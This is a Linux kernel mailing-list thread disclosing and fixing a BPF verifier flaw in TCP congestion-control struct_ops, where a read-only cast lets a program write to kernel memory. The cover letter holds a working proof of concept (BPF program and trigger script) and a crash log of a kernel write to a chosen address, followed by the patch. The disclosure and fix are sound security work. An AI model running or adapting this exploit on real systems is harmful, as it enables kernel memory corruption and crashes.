* [PATCH net 0/1] bpf: reject unsafe pointers in TCP congestion control access
@ 2026-10-14 11:57 Zhiling Zou
2026-10-14 11:57 ` [PATCH net 1/1] " Zhiling Zou
0 siblings, 1 reply; 2+ messages in thread
From: Zhiling Zou @ 2026-10-14 11:57 UTC (permalink / raw)
To: netdev, bpf
Cc: davem, edumazet, pabeni, horms, zhilinz, martin.lau, kafai.wan,
yhs, ast, vega
Hi Linux kernel maintainers,
We found and validated an issue in net/ipv4/bpf_tcp_ca.c. A root user
with the capabilities required for BPF struct_ops can load a TCP
congestion-control program that writes through a forged tcp_sock pointer.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
bpf_rdonly_cast() returns a BTF pointer with PTR_UNTRUSTED. Generic BPF
store verification delegates writes through BTF pointers to the program
type's btf_struct_access callback. bpf_tcp_ca_btf_struct_access() checks
the BTF type and allowlisted member offset, but does not reject unsafe
pointer modifiers.
A BPF TCP struct_ops program can therefore cast a scalar address to a
struct tcp_sock pointer and write through an allowed member such as
sk_pacing_rate. The PoC biases the fake base so the store targets address
0x1000; the supplied KASAN log shows the resulting kernel-mode write
fault in the struct_ops init callback.
Reject pointers with unsafe modifiers before validating their BTF type
and member offset. Trusted struct_ops context pointers retain the
existing write access to the permitted TCP fields.
Reproducer:
./poc.sh
The supplied poc.bpf.o is used by the script. It requires bpftool and
Python 3 in the guest. We ran it as root in a 2 vCPU, 2 GB QEMU guest.
------BEGIN poc.bpf.c------
// SPDX-License-Identifier: GPL-2.0
#include "vmlinux.h"
#include <bpf/bpf_core_read.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include "bpf_kfuncs.h"
char LICENSE[] SEC("license") = "GPL";
#define TARGET_ADDR 0x1000UL
#define WRITE_VALUE 0x4141414141414141UL
SEC("struct_ops/init")
void BPF_PROG(poc_init, struct sock *sk)
{
unsigned long base;
struct sock *fake;
base = TARGET_ADDR - __builtin_offsetof(struct sock, sk_pacing_rate);
fake = bpf_rdonly_cast((const void *)base,
bpf_core_type_id_kernel(struct tcp_sock));
fake->sk_pacing_rate = WRITE_VALUE;
}
SEC("struct_ops/cong_avoid")
void BPF_PROG(poc_cong_avoid, struct sock *sk, u32 ack, u32 acked)
{
}
SEC("struct_ops/ssthresh")
u32 BPF_PROG(poc_ssthresh, struct sock *sk)
{
return 0;
}
SEC("struct_ops/undo_cwnd")
u32 BPF_PROG(poc_undo_cwnd, struct sock *sk)
{
return 0;
}
SEC(".struct_ops")
struct tcp_congestion_ops poc_ca = {
.init = (void *)poc_init,
.cong_avoid = (void *)poc_cong_avoid,
.ssthresh = (void *)poc_ssthresh,
.undo_cwnd = (void *)poc_undo_cwnd,
.name = "k9v_poc",
};
------END poc.bpf.c--------
------BEGIN bpf_kfuncs.h------
#ifndef __POC_BPF_KFUNCS_H
#define __POC_BPF_KFUNCS_H
extern void *bpf_rdonly_cast(const void *obj, __u32 btf_id) __ksym __weak;
#endif
------END bpf_kfuncs.h--------
------BEGIN poc.sh------
#!/bin/sh
set -eux
DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
cd "$DIR"
if [ ! -f poc.bpf.o ]; then
if command -v clang >/dev/null 2>&1; then
make clean
make
else
echo "missing poc.bpf.o and no clang available to rebuild it" >&2
exit 1
fi
fi
bpftool struct_ops register ./poc.bpf.o
python3 - <<'PY'
import socket
import threading
import time
ALG = b"k9v_poc"
ready = threading.Event()
port_box = {}
def server():
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("127.0.0.1", 0))
port_box["port"] = srv.getsockname()[1]
srv.listen(1)
ready.set()
conn, _ = srv.accept()
time.sleep(5)
conn.close()
srv.close()
threading.Thread(target=server, daemon=True).start()
ready.wait()
cli = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cli.connect(("127.0.0.1", port_box["port"]))
cli.setsockopt(socket.IPPROTO_TCP, socket.TCP_CONGESTION, ALG)
PY
------END poc.sh--------
----BEGIN crash log----
[ 900.010015][T10750] BUG: unable to handle page fault for address: 0000000000001000
[ 900.010735][T10750] #PF: supervisor write access in kernel mode
[ 900.011201][T10750] #PF: error_code(0x0002) - not-present page
[ 900.011675][T10750] PGD 10f17b067 P4D 10f17b067 PUD 1121c2067 PMD 0
[ 900.012209][T10750] Oops: Oops: 0002 [#1] PREEMPT SMP KASAN NOPTI
[ 900.012693][T10750] CPU: 2 UID: 0 PID: 10750 Comm: python3 Not tainted 6.12.95 #2
[ 900.013186][T10750] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 900.013972][T10750] RIP: 0010:bpf_prog_861704879f83f62f_poc_init+0x2b/0x38
[ 900.014455][T10750] Code: 0f 1e fa 0f 1f 44 00 00 0f 1f 00 55 48 89 e5 f3 0f 1e fa bf 90 0c 00 00 be 85 ab 00 00 48 89 f8 48 bf 41 41 41 41 41 41 41 41 <48> 89 b8 70 03 00 00 c9 e9 4b 5e 6f ea cc cc cc cc cc cc cc cc cc
[ 900.015700][T10750] RSP: 0018:ffffc900066dfb58 EFLAGS: 00010202
[ 900.016102][T10750] RAX: 0000000000000c90 RBX: 0000000000000001 RCX: 0000000000000000
[ 900.016617][T10750] RDX: 1ffff92000cdbf6e RSI: 000000000000ab85 RDI: 4141414141414141
[ 900.017128][T10750] RBP: ffffc900066dfb58 R08: 0000000000000000 R09: fffffbfff2c69990
[ 900.017641][T10750] R10: ffffffff9634cc87 R11: 0000000000000002 R12: ffff88810b72a278
[ 900.018210][T10750] R13: ffff88801d8fc340 R14: ffff88810b72a278 R15: ffff88810b72a2a8
[ 900.018843][T10750] FS: 00007f2b2a2d8780(0000) GS:ffff888118b00000(0000) knlGS:0000000000000000
[ 900.019539][T10750] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 900.020009][T10750] CR2: 0000000000001000 CR3: 000000007cca4000 CR4: 0000000000750ef0
[ 900.020633][T10750] PKRU: 55555554
[ 900.020913][T10750] Call Trace:
[ 900.021183][T10750] <TASK>
[ 900.021434][T10750] bpf__tcp_congestion_ops_init+0x47/0xa7
[ 900.021880][T10750] tcp_init_congestion_control+0xa7/0x3b0
[ 900.022412][T10750] tcp_set_congestion_control+0x6a9/0x7c0
[ 900.022838][T10750] do_tcp_setsockopt+0x5c0/0x2170
[ 900.023230][T10750] ? __pfx_do_tcp_setsockopt+0x10/0x10
[ 900.023579][T10750] ? __pfx___might_resched+0x10/0x10
[ 900.024056][T10750] ? srso_alias_return_thunk+0x5/0xfbef5
[ 900.024523][T10750] ? aa_sk_perm+0x1d8/0x8d0
[ 900.024956][T10750] ? __pfx___lock_acquire+0x10/0x10
[ 900.025389][T10750] ? __pfx_aa_sk_perm+0x10/0x10
[ 900.025777][T10750] ? srso_alias_return_thunk+0x5/0xfbef5
[ 900.026212][T10750] ? srso_alias_return_thunk+0x5/0xfbef5
[ 900.026662][T10750] ? find_held_lock+0x2d/0x110
[ 900.027002][T10750] do_sock_setsockopt+0x1b8/0x3b0
[ 900.046958][T10750] Kernel panic - not syncing: Fatal exception
[ 900.047768][T10750] Kernel Offset: disabled
[ 900.048106][T10750] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
bpf: reject unsafe pointers in TCP congestion control access
net/ipv4/bpf_tcp_ca.c | 5 +++++
1 file changed, 5 insertions(+)
--
2.55.0
^ permalink raw reply [flat|nested] 2+ messages in thread
* [PATCH net 1/1] bpf: reject unsafe pointers in TCP congestion control access
2026-10-14 11:57 [PATCH net 0/1] bpf: reject unsafe pointers in TCP congestion control access Zhiling Zou
@ 2026-10-14 11:57 ` Zhiling Zou
0 siblings, 0 replies; 2+ messages in thread
From: Zhiling Zou @ 2026-10-14 11:57 UTC (permalink / raw)
To: netdev, bpf
Cc: davem, edumazet, pabeni, horms, zhilinz, martin.lau, kafai.wan,
yhs, ast, vega
bpf_tcp_ca_btf_struct_access() authorizes writes based on the BTF type
and member offset, but does not check pointer modifiers. A BPF program
can use bpf_rdonly_cast() to create an untrusted tcp_sock pointer and
write through an allowlisted member, bypassing the read-only cast.
Reject pointers with unsafe modifiers before checking the type and
member offset. Trusted struct_ops context pointers retain the existing
write access to the permitted TCP fields.
Fixes: a35b9af4ec2c ("bpf: Add a kfunc for generic type cast")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
---
net/ipv4/bpf_tcp_ca.c | 5 +++++
1 file changed, 5 insertions(+)
diff --git a/net/ipv4/bpf_tcp_ca.c b/net/ipv4/bpf_tcp_ca.c
index 791e15063237..252cbfe11e69 100644
--- a/net/ipv4/bpf_tcp_ca.c
+++ b/net/ipv4/bpf_tcp_ca.c
@@ -65,6 +65,11 @@ static int bpf_tcp_ca_btf_struct_access(struct bpf_verifier_log *log,
const struct btf_type *t;
size_t end;
+ if (bpf_type_has_unsafe_modifiers(reg->type)) {
+ bpf_log(log, "write through an unsafe tcp_sock pointer\n");
+ return -EACCES;
+ }
+
t = btf_type_by_id(reg->btf, reg->btf_id);
if (t != tcp_sock_type) {
bpf_log(log, "only read is supported\n");
--
2.55.0
^ permalink raw reply related [flat|nested] 2+ messages in thread
end of thread, other threads:[~2026-10-14 11:58 UTC | newest]
Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-14 11:57 [PATCH net 0/1] bpf: reject unsafe pointers in TCP congestion control access Zhiling Zou
2026-10-14 11:57 ` [PATCH net 1/1] " Zhiling Zou
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox